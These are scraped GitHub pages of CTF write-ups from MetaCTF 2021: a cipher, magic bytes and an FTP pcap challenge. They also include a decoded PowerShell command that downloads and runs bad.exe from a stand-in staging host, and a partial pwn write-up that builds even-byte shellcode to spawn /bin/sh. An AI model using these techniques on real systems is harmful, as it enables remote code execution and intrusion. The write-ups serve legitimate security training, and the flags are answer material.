1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Hint</h1>A to Z (or) B to Y<h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Letz Decrypt<g-emoji class="g-emoji" alias="grin" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f601.png">?</g-emoji></h1>Lets decrypt by substituting A to Z , B to Y , C to X respectively. Eventually we get...<h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Flag</h1><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="bashful_is_my_fav_dwarf">bashful_is_my_fav_dwarf</div></article> </div>
This encrypted flag will only require a simple substitution cipher to solve. Rearrange the letters from A to Z.
yzhsufo_rh_nb_uze_wdziu
By seeing the description its clear that a simple substitution might work in this. Lets check the hint.,
A to Z (or) B to Y
Lets decrypt by substituting A to Z , B to Y , C to X respectively. Eventually we get...
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<title>CTF-Writeups/Still believe in magic.md at 3dfbfc9f6d536f6f42758da711d280dfe61cf9d2 · palanioffcl/CTF-Writeups · GitHub</title>
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<h2 id="blob-path" class="breadcrumb flex-auto flex-self-center min-width-0 text-normal mx-2 width-full width-md-auto flex-order-1 flex-md-order-none mt-3 mt-md-0"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Meta games CTF 2021</span></span><span>/</span><span><span>Forensics</span></span><span>/</span>Still believe in magic.md </h2> Go to file <details id="blob-more-options-details" data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true" class="btn"> <svg aria-label="More options" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg></summary> <div data-view-component="true"> <span>Go to file</span> <span>T</span> <button data-toggle-for="jumpto-line-details-dialog" type="button" data-view-component="true" class="dropdown-item btn-link"> <span> <span>Go to line</span> <span>L</span> </span></button> <clipboard-copy data-toggle-for="blob-more-options-details" aria-label="Copy path" value="Meta games CTF 2021/Forensics/Still believe in magic.md" data-view-component="true" class="dropdown-item cursor-pointer"> Copy path
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>MetaCTF 2021</h1><h2 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Still Believe in Magic? (150pts)</h2><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Description:</h3><blockquote>We found an archive with a file in it, but there was no file extension so we're not sure what it is. Can you figure out what kind of file it is and then open it?</blockquote><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Included Files:</h3><blockquote>magic.tar.gz</blockquote><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Procedure:</h3>Its a tar.gz file we need to extract it inorder to view the file in it. Before doing that lets use the commands like cat , strings , file , inorder to avoid to face any consequences because of that file.When we strings the file it has MACOSX from this we infer that it was zipped in a Mac Environment. Lets check its magic bytes.<h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Magic Bytes:</h3>Magic bytes is the byte which is in the very top of the file (header of the file)It is also a signature of that file.The Magic byte of the particular file is 504b or PK in ASCII when we google ot is a Archived ZIP file.If we extract it it has a magic.txt file Letz open it up...<h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Flag:</h3><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="MetaCTF{was_it_a_magic_trick_or_magic_bytes?}">MetaCTF{was_it_a_magic_trick_or_magic_bytes?}</div></article> </div>
We found an archive with a file in it, but there was no file extension so we're not sure what it is. Can you figure out what kind of file it is and then open it?
magic.tar.gz
Its a tar.gz file we need to extract it inorder to view the file in it. Before doing that lets use the commands like cat , strings , file , inorder to avoid to face any consequences because of that file.
When we strings the file it has MACOSX from this we infer that it was zipped in a Mac Environment. Lets check its magic bytes.
Magic bytes is the byte which is in the very top of the file (header of the file)It is also a signature of that file.The Magic byte of the particular file is 504b or PK in ASCII when we google ot is a Archived ZIP file.If we extract it it has a magic.txt file Letz open it up...
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FTP servers are made to share files, but if its communications are not encrypted, it might be sharing passwords as well. The password in this pcap to get the flag
ftp_challenge.pcapng
Lets get into the pcap file and explore using wireshark and seeing the FTP Packets we get the password.
ftp_is_better_than_dropbox
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Using Cheat Engine on an il2cpp Unity game to disable death on collision: https://spicy-walnut-eb5.notion.site/CSRunner-17c9cf26c511437d848da5b407916e15 |
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<div class="SelectMenu-list SelectMenu-list--borderless p-2" style="overscroll-behavior: contain;"> MetaCTF 2021 My Logs Know What You Did (125pts) Description: Step 1 - Understanding the Command: Step 2 - Decode Base64 Step 3 - Flag </div> </div> </details-menu></details>
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>MetaCTF 2021</h1><h2 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>My Logs Know What You Did (125pts)</h2><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Description:</h3><blockquote>While investigating an incident, you identify a suspicious powershell command that was run on a compromised system ... can you figure out what it was doing?</blockquote>C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -noP -sta -w 1 -enc TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vTWV0YUNURntzdXBlcl9zdXNfc3Q0Z2luZ19zaXRlX2QwdF9jMG19L19iYWQuZXhlJywnYmFkLmV4ZScpO1N0YXJ0LVByb2Nlc3MgJ2JhZC5leGUn<h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Step 1 - Understanding the Command:</h3>In this Powershell command, we can see it runs a command but it appears to be encoded. The -enc flag encodes the payload in Base64, so we can throw it into a Base64 decoder and extact some data.<h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Step 2 - Decode Base64</h3><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="root@kali~$ TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vTWV0YUNURntzdXBlcl9zdXNfc3Q0Z2luZ19zaXRlX2QwdF9jMG19L19iYWQuZXhlJywnYmFkLmV4ZScpO1N0YXJ0LVByb2Nlc3MgJ2JhZC5leGUn | base64 ">root@kali~$ TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vTWV0YUNURntzdXBlcl9zdXNfc3Q0Z2luZ19zaXRlX2QwdF9jMG19L19iYWQuZXhlJywnYmFkLmV4ZScpO1N0YXJ0LVByb2Nlc3MgJ2JhZC5leGUn | base64 </div><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Step 3 - Flag</h3>MetaCTF{super_sus_st4ging_site_d0t_c0m}</article> </div>
While investigating an incident, you identify a suspicious powershell command that was run on a compromised system ... can you figure out what it was doing?
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -noP -sta -w 1 -enc TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vTWV0YUNURntzdXBlcl9zdXNfc3Q0Z2luZ19zaXRlX2QwdF9jMG19L19iYWQuZXhlJywnYmFkLmV4ZScpO1N0YXJ0LVByb2Nlc3MgJ2JhZC5leGUn
In this Powershell command, we can see it runs a command but it appears to be encoded. The -enc flag encodes the payload in Base64, so we can throw it into a Base64 decoder and extact some data.
MetaCTF{super_sus_st4ging_site_d0t_c0m}
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# Two's Compliment**Binary Exploitation (pwn) - 250**
Description:```Seven ate six
After seven ate six, it thought to itself, "After I ate nine my mouth felt numb, but this time it's even number".
nc host1.metaproblems.com 5480```# NotePlease view on the [original markdown](https://github.com/Surg-Dev/writeups/blob/master/Cybergames2021/Two's%20Compliment.md) (with html enabled!)I might move things around, so images may break here. The [folder for this CTF](https://github.com/Surg-Dev/writeups/tree/master/Cybergames2021) will not change, however.
TLDR at the bottom!
## Discovery
This challenge gave us a single binary. Let's run it and see what we get:
*That's a little on the nose, isn't it?*
Shellcode, is a string of bytes that encode assembly instructions to run `/bin/sh` or any other shell program, so that an attacker can get out of a program and instead have full navigation and control over the host computer.
Moving onto enumerating input, I tried entering "A" and it returns with "Bad Character found". If I enter "B", it segfaults.Entering a string of As returns bad character, a string of Bs segfaults, Cs are bad characters, so on. At this point I put together that the program only accepts even bytes for input (as 'A' is `0x41`).
I wanted to double check my thoughts, so I opened up the challenge file in cutter (a radare2 and ghidra based decompiler), and sure enough, it did just that.
```cundefined8 main(void){ int32_t iVar1; int64_t iVar2; void *buf; void *addr; undefined8 var_4h; setvbuf(_reloc.stdout, 0, 2, 0); setvbuf(_reloc.stdin, 0, 2, 0); puts("What is your shellcode?"); iVar2 = mmap(0x133713370000, 0x1000, 7, 0x32, 0xffffffff, 0); //Reserving memory for our shellcode if (iVar2 != 0x133713370000) { puts("mmap failed"); exit(0xffffffff); } iVar1 = _len; if (_len < 0) { iVar1 = _len + 7; } var_4h._0_4_ = read(0, iVar2 + (int64_t)(iVar1 >> 3) * 8, 0x800); //Reading in our shellcode if (*(char *)(iVar2 + (int64_t)(int32_t)var_4h + (int64_t)_len + -1) == '\n') { var_4h._0_4_ = (int32_t)var_4h + -1; *(undefined *)(iVar2 + (int64_t)_len + (int64_t)(int32_t)var_4h) = 0; } //New line char removal iVar1 = check((void *)(iVar2 + _len), (int32_t)var_4h - 1); //parity checking if (iVar1 != 0) { puts("Bad Character found"); exit(0xffffffff); } (*(code *)(_len + iVar2))(); //Runs our shellcode return 0;}
undefined8 check(void *arg1, uint32_t arg2){ int64_t iVar1; uint32_t var_ch; void *var_8h; var_ch = arg2; do { if ((int32_t)var_ch < 0) { return 0; } iVar1 = (int64_t)(int32_t)var_ch; var_ch = var_ch - 1; } while ((*(uint8_t *)((int64_t)arg1 + iVar1) & 1) == 0); //Parity check return 1;}```
`check()` reads in every byte, ands it with 1, if it returns true it returns 1, and `main` will reject it if check returns 1.
The only weird thing, if you've never seen this (and I've never seen this until now), is the `(*(code *)(_len + iVar2))();` line. This basically casts the location of our shell code `_len+iVar2` as a function pointer `(code*)` then calling it `();`. With better Ghidra notation this would look better, but I didn't see any reason to continue further.
#### Making a test binary Because the binary uses a specific address, I don't trust my own C skills, I copied the binary, opened it up in a hex editor, and turned the immediate `1` into a `0` on the and statement in `check()` so that any shellcode could run, as I can pretty easily tell if it has odd bytes or not. I know I have a working shellcode if, you know, I get a shell.
## Plagiarism is always easierNow, I had to consider a plan of attack. Clearly, no standard shellcode would just *work* on this binary. I looked up what I could about esoteric shellcodes, and given the hint in this challenge, **self-modifying shellcodes.** I found [This paper](https://www.exploit-db.com/docs/english/13127-writing-self-modifying-code-andutilizing-advanced-assembly-techniques.pdf) on writing self-modifying shellcode to restrict to the alphanumeric byteset. It brought the question of using someone else's shellcode and modifying it down, versus designing your own from the ground up. They went with the former, and so will I. However, I found [another page](https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html) that had a 22 byte shellcode:```asmxor esi, esipush rsimov rbx, 0x68732f2f6e69622fpush rbxpush rsppop rdiimul esimov al, 0x3bsyscall```
The hex literal (the line of bytes we send), looks like this:`[\x31]\xF6\x56\x48[\xBB\x2F]\x62[\x69]\x6E[\x2F\x2F\x73]\x68[\x53]\x54[\x5F\xF7]\xEE\xB0[\x3B\x0F\x05]`I've marked odd bytes in brackets. We have 13 bytes that we need to whittle down to 0.
I think at this point, I should mention: **I had no idea how to code in x86-64 assembly**. I've coded in MIPS for a computer architecture class, but besides that I don't really fully understand the x64 convention.
Besides that, It's time to discuss what this code does, so we can make sure we replicate the same steps.
1. Setting the `rsi` register to 0 and pushing it to the stack```asmxor esi, esipush rsi```2. Moving `/bin//sh` into the `rbx` register, and pushing it to the stack```asmmov rbx, 0x68732f2f6e69622fpush rbx```3. Move the stack address to the `rdi` register. This is the `char*` pointer to our `'/bin//sh'` string.```asmpush rsppop rdi```4. I didn't really know what this did at first glance, but looking at the documentation, imul stores its result into `dx:ax` register range, or `rdx` and `rax`, which, since we set `esi` to 0, this is a cheap way to set both registers to 0.```asmimul esi```5. Call `execve('/bin/sh', 0, 0)`. `0x3b` is the ID for the system call of `execve()`. The calling convention uses `rdi`, `rsi` and `rdx` in that order, which we've set to the string pointer, 0 and 0, respectively.```asmmov al, 0x3bsyscall```
So with a bit more familiarity at hand, it's time to work at every odd byte in this shellcode.
## The road to even parity
My plan was to avoid self-modification for as long as possible, just because my skills at x86-64 were already weak and I'm not quite sure I was going to be able to do this challenge.
To see what bytes assembled to what, I used [this online tool](https://defuse.ca/online-x86-assembler.htm#disassembly), since it's more or less designed for shellcode, and avoids dealing with labels or anything fancy to actually make a working program.
To start, `xor esi esi` compiles to `[\x31]\xF6`. Reading that original paper about alphanumeric shellcode, they used a different trick to get `0` into the `esi` register. Lucky for me, that same trick just so happened to use only even bytes. So without much thought, I replaced that in my shellcode:```asmpush 0x30pop rsixorb sil, 0x30```This compiles to `\x6A\x30\x5E\x40\x80\xF6\x30`. All this does is write 0x30 to the stack (could be any even byte, but this paper was trying to use alphanumeric characters only). Puts it into `rsi`, then xors the single byte with `0x30` again, setting the whole register to `0`.
Next, we have this move and push instruction:```asmmov rbx, 0x68732f2f6e69622fpush rbx```
This compiles to `\x48[\xBB\x2F]\x62[\x69]\x6E[\x2F\x2F\x73]\x68[\x53]`. After messing around and seeing what bits affect the `mov` instruction, I realized that each of the registers have their own numeric ID, and that registers `rbx` and `rdx` and so on have odd IDs. So, I saw no harm, and simply modified the register to `rax` instead, as it made these calls have even bytes. That code compiled to `\x48\xB8[\x2F]\x62[\x69]\x6E[\x2F\x2F\x73]\x68\x50`. So an easy fix of 2 odd bytes.
An easy fix I could see was actually an issue of using premade shellcode for different goals. The original shellcode was made under the rules of shellcode golf, one of those requirements being that there be no null bytes in the shellcode (so that string methods like `strlen()` read the entire input). However, this binary *runs* our shellcode for us. We can have nullbytes. The `/` character is `0x2f` and this code uses `'/bin//sh'` to make it fit in 8 bytes. So we modify it to `'/bin/sh\0'` and the input bytes would compile to `[\x2F]\x62[\x69]\x6E[\x2F\x73]\x68\x00` saving us a byte of work.
## It's always /bin/sh
We're approaching the point where we're going to have to make some substantial live corrections if we want to shellcode to be accepted. I had to figure out someway to modify the bytes in `'/bin/sh'`. However, ~~most~~ all 64, 32 *and* 16 bit instructions for `add`, `sub`, `inc`, `dec`, `xor`, `and`, `or` have an odd byte to signify the size. After a fair deal of testing I found out that the `inc` instruction for the last byte registers (i.e. `al`, `sil`, etc.), don't have that odd indicator byte. However, much to my dismay, that means I would somehow need to construct the *entire* string with these last byte operations. I thought I could use the logical shift left bytes, and it would feed into the higher bits, but shifting on a 1 byte register keeps it local to that 1 byte.
Luckily, we can push values on to the stack a couple bytes at a time (sadly, not 1 byte a time), and then pop the whole string into our register. So, we can load a couple bytes into the register, increment them from an even pairity to and odd parity, then push it onto the stack.
Being aware of endianess, we start by moving `0x0068` into `ax` and pushing it onto the stack. The next part of the string we have to push is `0x722e` (from `0x732f`)... well crap. We need to increment the `0x72` byte as well. The alphanumeric shellcode paper comes in handy one more time:
